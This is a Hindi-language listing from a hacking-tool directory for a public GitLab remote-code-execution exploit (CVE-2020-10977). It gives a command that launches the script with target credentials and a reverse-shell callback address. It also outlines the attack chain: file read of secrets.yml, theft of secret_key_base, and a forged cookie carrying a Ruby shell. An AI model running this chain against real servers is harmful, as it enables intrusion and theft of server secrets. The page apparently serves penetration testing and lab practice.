Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2020-10977 — Gitlab v12.4.0-8.1 RCE | Kitploit
उपकरण/GitHubGitHub/liath/cve-2020-10977
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubliath/cve-2020-10977

CVE-2020-10977

Gitlab v12.4.0-8.1 RCE

रिपॉजिटरी देखें
2125 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

GitLab v12.4.0-12.8.1 RCE

पूरी तरह से https://github.com/dotPY-hax/gitlab_RCE पर आधारित, जो मेरे लिए काम नहीं किया और HTML पार्सिंग का काम बोझिल लगा, इसलिए मैंने इसे js में फिर से लिखा।

उपयोग

सामान्य तरीके से एक रिवर्स शेल हैंडलर शुरू करें, फिर इस स्क्रिप्ट को इस प्रकार चलाएँ:

root@kitploit:~
TARGET_URI="https://target" TARGET_EMAIL_DOMAIN="laboratory.htb" \
 TARGET_USER="test" TARGET_PASSWORD="Test pass 123" \
 LOCAL_IP="10.10.14.142" LOCAL_PORT="44044" \
 node gitlab_rce.js

प्रॉक्सी को TUNNEL_HOST="127.0.0.1" TUNNEL_PORT="8080" के साथ निर्दिष्ट किया जा सकता है। इसके लिए डिबगिंग में Burp विशेष रूप से उपयोगी है।

यह क्या करता है

  1. जांचता है कि लक्ष्य उपलब्ध है या नहीं
  2. यदि प्रदान किया गया उपयोगकर्ता मौजूद है, तो 5 पर जाएँ
  3. एक ऐसा उपयोगकर्ता नाम खोजें जो पहले से मौजूद न हो
  4. उस उपयोगकर्ता को बनाएँ
  5. साइन इन करने का प्रयास करें
  6. दो खाली प्रोजेक्ट बनाएँ
  7. पहले प्रोजेक्ट में एक नया इश्यू टिकट बनाएँ जिसमें एक दुर्भावनापूर्ण लिंक हो
  8. नए टिकट को दूसरे प्रोजेक्ट में ले जाएँ, जिससे GitLab हमारे दुर्भावनापूर्ण लिंक को फिर से लिखता है और उस फ़ाइल को कॉपी करता है जिसे यह uploads निर्देशिका में इंगित करता है
  9. लक्ष्य फ़ाइल प्राप्त करता है, इस मामले में हम secret_key_base के लिए secrets.yml चाहते हैं
  10. secret_key_base का उपयोग करके एक दुर्भावनापूर्ण कुकी बनाएँ जिसमें हमारा Ruby शेल हो और इसे GitLab को पास करें
टूल डाउनलोड करें